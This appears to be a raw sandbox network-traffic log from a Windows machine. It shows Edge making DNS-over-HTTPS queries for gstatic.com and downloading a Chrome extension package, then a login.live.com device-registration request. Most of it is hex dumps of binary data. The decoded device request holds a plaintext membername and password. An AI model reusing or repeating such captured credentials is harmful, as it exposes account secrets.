2024-11-20 20:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e714ca332fc-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49799	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e715ffc4283-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fb 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49800	172.64.41.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e71890e4264-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49802	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49792	172.217.19.225	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:44 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6JkCk8KVsgzAnyK13tfsZGAX1YsoxlYXcJQme5SNv96mVXDeusl-vzqGzZbB2UfcvZ_88jkIpl3g X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 20 Nov 2024 16:45:00 GMT Expires: Thu, 20 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 12043 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 20:05:44 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-20 20:05:44 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49801	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:43 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-20 20:05:43 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6f 7a 70 61 7a 68 6b 68 6c 68 66 68 7a 73 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 62 2b 6d 62 74 36 78 4f 6a 6c 73 23 6e 6a 2b 64 5a 31 51 73 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ozpazhkhlhfhzs</Membername><Password>b+mbt6xOjls#nj+dZ1Qs</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-20 20:05:53 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 20 Nov 2024 20:04:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BAY x-ms-request-id: 8fe50b30-5554-44bf-bde6-70afa3999078 PPServer: PPV: 30 H: PH1PEPF00011FB5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close Content-Length: 17166
2024-11-20 20:05:53 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 32 38 35 34 38 34 35 44 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 36 33 65 38 36 62 66 36 2d 65 34 30 65 2d 34 61 31 65 2d 61 38 63 31 2d 34 64 65 38 32 63 33 32 31 62 63 35 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F2854845D</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="63e86bf6-e40e-4a1e-a8c1-4de82c321bc5" LicenseID="3252b20c-d425-4711
2024-11-20 20:05:53 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 